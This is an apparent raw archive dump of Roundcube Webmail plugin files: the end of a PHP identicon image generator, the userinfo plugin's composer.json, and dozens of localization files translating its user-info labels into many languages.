            $cell_num_h = $i - $row_num * self::GRID_SIZE;

            $this->grid[$i] = [
                'active' => ord($ident[$idx]) % 2 > 0,
                'x1'     => $cell_width * $cell_num_h + $this->margin,
                'y1'     => $cell_height * $row_num + $this->margin,
                'x2'     => $cell_width * ($cell_num_h + 1) + $this->margin,
                'y2'     => $cell_height * ($row_num + 1) + $this->margin,
            ];
        }

        // really generate the image using supported methods
        if (function_exists('imagepng')) {
            $this->generateGD();
        }
        else {
            // log an error
            $error = [
                'code'    => 500,
                'message' => "PHP-GD module not found. It's required by identicon plugin.",
            ];

            rcube::raise_error($error, true, false);
        }
    }

    /**
     * GD-based icon generation worker
     */
    private function generateGD()
    {
        // create an image, setup colors
        $image = imagecreate($this->width, $this->height);

        $color = $this->toRGB($this->color);
        $color = imagecolorallocate($image, $color[0], $color[1], $color[2]);

        if ($this->bgcolor === 'transparent') {
            $bgcolor = imagecolorallocatealpha($image, 0, 0, 0, 127);
            imagesavealpha($image, true);
        }
        else {
            $bgcolor = $this->toRGB($this->bgcolor);
            $bgcolor = imagecolorallocate($image, $bgcolor[0], $bgcolor[1], $bgcolor[2]);
        }

        imagefilledrectangle($image, 0, 0, $this->width, $this->height, $bgcolor);

        // draw the grid created in self::generate()
        foreach ($this->grid as $item) {
            if (!empty($item['active'])) {
                imagefilledrectangle($image, $item['x1'], $item['y1'], $item['x2'], $item['y2'], $color);
            }
        }

        // generate an image and save it to a variable
        ob_start();
        imagepng($image, null, 6, PNG_ALL_FILTERS);
        $this->binary = ob_get_contents();
        ob_end_clean();

        // cleanup
        imagedestroy($image);
    }

    /**
     * Convert #FFFFFF color format to 3-value RGB
     */
    private function toRGB($color)
    {
        preg_match('/^#?([A-F0-9]{2})([A-F0-9]{2})([A-F0-9]{2})/i', $color, $m);

        return [hexdec($m[1]), hexdec($m[2]), hexdec($m[3])];
    }
}
PKh�\�e�-��plugins/userinfo/composer.jsonnu�[���{
    "name": "roundcube/userinfo",
    "type": "roundcube-plugin",
    "description": "Sample plugin that adds a new tab to the settings section to display some information about the current user.",
    "license": "GPL-3.0-or-later",
    "version": "1.2",
    "authors": [
        {
            "name": "Thomas Bruederli",
            "email": "roundcube@gmail.com",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\KFNc��'plugins/userinfo/localization/zh_CN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = '用户信息';
$labels['created'] = '创建于';
$labels['lastlogin'] = '最近登录';
$labels['defaultidentity'] = '默认身份';
$labels['userid'] = 'ID';
PKh�\��W��'plugins/userinfo/localization/be_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Асабістыя звесткі';
$labels['created'] = 'Створаны';
$labels['lastlogin'] = 'Апошні ўваход';
$labels['defaultidentity'] = 'Стандартная тоеснасць';
PKh�\^/�Pkk'plugins/userinfo/localization/bg_BG.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Потребителска информация';
$labels['infoforuser'] = 'Информация за $user';
$labels['created'] = 'Създаден';
$labels['lastlogin'] = 'Последен вход';
$labels['defaultidentity'] = 'Самоличност по подразбиране';
$labels['userid'] = 'ИН';
PKh�\X�\��'plugins/userinfo/localization/en_US.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'User info';
$labels['infoforuser'] = 'Info for $user';
$labels['created'] = 'Created';
$labels['lastlogin'] = 'Last Login';
$labels['defaultidentity'] = 'Default Identity';
$labels['userid'] = 'ID';
PKh�\��N'plugins/userinfo/localization/fi_FI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Käyttäjätiedot';
$labels['infoforuser'] = 'Tietoja käyttäjästä $user';
$labels['created'] = 'Luotu';
$labels['lastlogin'] = 'Viimeisin kirjautuminen';
$labels['defaultidentity'] = 'Oletushenkilöys';
$labels['userid'] = 'Tunniste';
PKh�\�
l'plugins/userinfo/localization/nb_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Brukerinformasjon';
$labels['infoforuser'] = 'Informasjon for $user';
$labels['created'] = 'Opprettet';
$labels['lastlogin'] = 'Sist logget inn';
$labels['defaultidentity'] = 'Standard identitet';
$labels['userid'] = 'ID';
PKh�\�,,'plugins/userinfo/localization/sq_AL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Të dhëna Përdoruesi';
$labels['infoforuser'] = 'Të dhëna mbi $user';
$labels['created'] = 'Krijuar më';
$labels['lastlogin'] = 'Hyrja e Fundit';
$labels['defaultidentity'] = 'Identitet Parazgjedhje';
$labels['userid'] = 'ID';
PKh�\����'plugins/userinfo/localization/et_EE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Kasutaja info';
$labels['created'] = 'Loodud';
$labels['lastlogin'] = 'Viimane logimine';
$labels['defaultidentity'] = 'Vaikeidentiteet';
$labels['userid'] = 'ID';
PKh�\�/���'plugins/userinfo/localization/ku_IQ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'زانیاری بەکارهێنەر';
$labels['created'] = 'دروستکرا';
$labels['lastlogin'] = 'دوایین چوونەژوورەوە';
$labels['defaultidentity'] = 'ناسنامەی بنەڕەتی';
PKh�\���&&'plugins/userinfo/localization/eu_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Erabiltzailearen informazioa';
$labels['infoforuser'] = '$Erabiltzailearentzako informazioa';
$labels['created'] = 'Sortua';
$labels['lastlogin'] = 'Azken saioa';
$labels['defaultidentity'] = 'Lehenetsitako identitatea';
$labels['userid'] = 'ID';
PKh�\�8�T'plugins/userinfo/localization/tr_TR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Kullanıcı bilgileri';
$labels['infoforuser'] = '$user bilgileri';
$labels['created'] = 'Eklendi';
$labels['lastlogin'] = 'Son oturum açma';
$labels['defaultidentity'] = 'Varsayılan kimlik';
$labels['userid'] = 'Kod';
PKh�\Ucԋ'plugins/userinfo/localization/es_AR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Información de usuario';
$labels['infoforuser'] = 'Información para $user';
$labels['created'] = 'Creado';
$labels['lastlogin'] = 'Ultimo ingreso';
$labels['defaultidentity'] = 'Identidad por defecto';
$labels['userid'] = 'ID';
PKh�\0e����$plugins/userinfo/localization/ku.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'nawnişani bakar henar';
$labels['created'] = 'Hat afirandin';
$labels['lastlogin'] = 'axrin hatna jurawa';
$labels['defaultidentity'] = 'Nasnameya Pêşsalixbûyî';
PKh�\�5	'plugins/userinfo/localization/pt_BR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Informações do usuário';
$labels['infoforuser'] = 'Informações de $user';
$labels['created'] = 'Criado';
$labels['lastlogin'] = 'Último Login';
$labels['defaultidentity'] = 'Identidade Padrão';
$labels['userid'] = 'ID';
PKh�\���j'plugins/userinfo/localization/lv_LV.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Informācija par lietotāju';
$labels['infoforuser'] = 'Info par $user';
$labels['created'] = 'Izveidots';
$labels['lastlogin'] = 'Pēdējā pieteikšanās';
$labels['defaultidentity'] = 'Noklusētā identitāte';
$labels['userid'] = 'ID';
PKh�\gRz�44'plugins/userinfo/localization/sk_SK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Informácie o používateľovi';
$labels['infoforuser'] = 'Informácia pre používateľa $user';
$labels['created'] = 'Vytvorené';
$labels['lastlogin'] = 'Posledné prihlásenie';
$labels['defaultidentity'] = 'Predvolená identita';
$labels['userid'] = 'ID';
PKh�\�z{�'plugins/userinfo/localization/cs_CZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Uživatel';
$labels['infoforuser'] = 'Informace pro $user';
$labels['created'] = 'Vytvořen';
$labels['lastlogin'] = 'Naspoledy přihlášen';
$labels['defaultidentity'] = 'Výchozí identita';
$labels['userid'] = 'ID';
PKh�\NC'k��$plugins/userinfo/localization/ti.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'ሓብሬታ በዓል ዋና ';
$labels['created'] = 'እዋን ፍጥረት';
$labels['lastlogin'] = 'እዋን እታው';
$labels['defaultidentity'] = 'ዘይተለወጠ መለለይ መንነት';
PKh�\�\3[��'plugins/userinfo/localization/nl_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Gebruikersinformatie';
$labels['created'] = 'Aangemaakt';
$labels['lastlogin'] = 'Laatste aanmelding';
$labels['defaultidentity'] = 'Standaard identiteit';
PKh�\�!'plugins/userinfo/localization/uk_UA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Інформація';
$labels['created'] = 'Створено';
$labels['lastlogin'] = 'Останнє входження';
$labels['defaultidentity'] = 'Типовий профіль';
$labels['userid'] = 'ID';
PKh�\T�����'plugins/userinfo/localization/fy_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Brûkersynformaasje';
$labels['created'] = 'Oanmakke';
$labels['lastlogin'] = 'Lêste kear ynlogge';
$labels['defaultidentity'] = 'Standert Identiteit';
PKh�\�7HT'plugins/userinfo/localization/de_CH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Benutzerinfo';
$labels['infoforuser'] = 'Informationen zu $user';
$labels['created'] = 'Erstellt';
$labels['lastlogin'] = 'Letztes Login';
$labels['defaultidentity'] = 'Standard-Absender';
$labels['userid'] = 'ID';
PKh�\�J (plugins/userinfo/localization/es_419.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Información del usuario';
$labels['infoforuser'] = 'Información para $user';
$labels['created'] = 'Creado';
$labels['lastlogin'] = 'Último ingreso';
$labels['defaultidentity'] = 'Identidad predeterminada';
$labels['userid'] = 'ID';
PKh�\$g�(��$plugins/userinfo/localization/uz.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Foydalanuvchi haqida axborot';
$labels['created'] = 'Yaratildi';
$labels['lastlogin'] = 'So‘nggi kirish';
$labels['defaultidentity'] = 'Odatdagi identifikator';
PKh�\gL��'plugins/userinfo/localization/hy_AM.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Օգտվողի տվյալներ';
$labels['created'] = 'Ստեղծված';
$labels['lastlogin'] = 'Վերջին մուտքը`';
$labels['defaultidentity'] = 'Լռելյալ ինքնությունն';
PKh�\��N0��'plugins/userinfo/localization/en_CA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'User info';
$labels['created'] = 'Created';
$labels['lastlogin'] = 'Last Login';
$labels['defaultidentity'] = 'Default Identity';
PKh�\���'plugins/userinfo/localization/zh_TW.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = '使用者資訊';
$labels['infoforuser'] = '$user 的資訊';
$labels['created'] = '建立時間';
$labels['lastlogin'] = '上次登入';
$labels['defaultidentity'] = '預設身份';
$labels['userid'] = 'ID';
PKh�\U�N�'plugins/userinfo/localization/ca_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Informació de l\'usuari';
$labels['infoforuser'] = 'Informació per a $user';
$labels['created'] = 'Creat';
$labels['lastlogin'] = 'Darrera connexió';
$labels['defaultidentity'] = 'Identitat per defecte';
$labels['userid'] = 'ID';
PKh�\U����$plugins/userinfo/localization/ia.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Information de usator';
$labels['created'] = 'Create';
$labels['lastlogin'] = 'Ultime session';
$labels['defaultidentity'] = 'Identitate predefinite';
$labels['userid'] = 'ID';
PKh�\9#� ��'plugins/userinfo/localization/bs_BA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Korisničke informacije';
$labels['created'] = 'Kreirano';
$labels['lastlogin'] = 'Zadnja prijava';
$labels['defaultidentity'] = 'Glavni identitet';
PKh�\MxJ@@'plugins/userinfo/localization/ru_RU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Информация';
$labels['infoforuser'] = 'Информация для $user';
$labels['created'] = 'Создан';
$labels['lastlogin'] = 'Последний вход';
$labels['defaultidentity'] = 'Профиль по умолчанию';
$labels['userid'] = 'ID';
PKh�\Օ�;��'plugins/userinfo/localization/fa_IR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'اطلاعات کاربر';
$labels['created'] = 'ایجاد شده';
$labels['lastlogin'] = 'آخرین ورود';
$labels['defaultidentity'] = 'شناسه پیش‌فرض';
PKh�\uN��##'plugins/userinfo/localization/is_IS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Notandaupplýsingar';
$labels['infoforuser'] = 'Upplýsingar um $user';
$labels['created'] = 'Búið til';
$labels['lastlogin'] = 'Síðasta innskráning';
$labels['defaultidentity'] = 'Sjálfgefið auðkenni';
$labels['userid'] = 'Auðkenni';
PKh�\���\��'plugins/userinfo/localization/vi_VN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Thông tin người dùng';
$labels['created'] = 'Được tạo';
$labels['lastlogin'] = 'Lần đăng nhập cuối';
$labels['defaultidentity'] = 'Nhận diện mặc định';
PKh�\���  'plugins/userinfo/localization/th_TH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'ข้อมูลผู้ใช้';
$labels['created'] = 'สร้าง';
$labels['lastlogin'] = 'เข้าระบบล่าสุด';
$labels['defaultidentity'] = 'รหัสประจำตัวเริ่มต้น';
PKh�\�]FbQQ'plugins/userinfo/localization/ar_SA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'معلومات المستخدم';
$labels['infoforuser'] = 'معلومات المستخدم $user';
$labels['created'] = 'أُنشئ في';
$labels['lastlogin'] = 'آخر دخول';
$labels['defaultidentity'] = 'الهوية الافتراضية';
$labels['userid'] = 'المُعَرّف';
PKh�\�SQ���'plugins/userinfo/localization/az_AZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Məlumat';
$labels['created'] = 'Yaradılma tarixi';
$labels['lastlogin'] = 'Sonuncu giriş';
$labels['defaultidentity'] = 'Default profil';
PKh�\L�����'plugins/userinfo/localization/id_ID.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Informasi pengguna';
$labels['created'] = 'Telah dibuat';
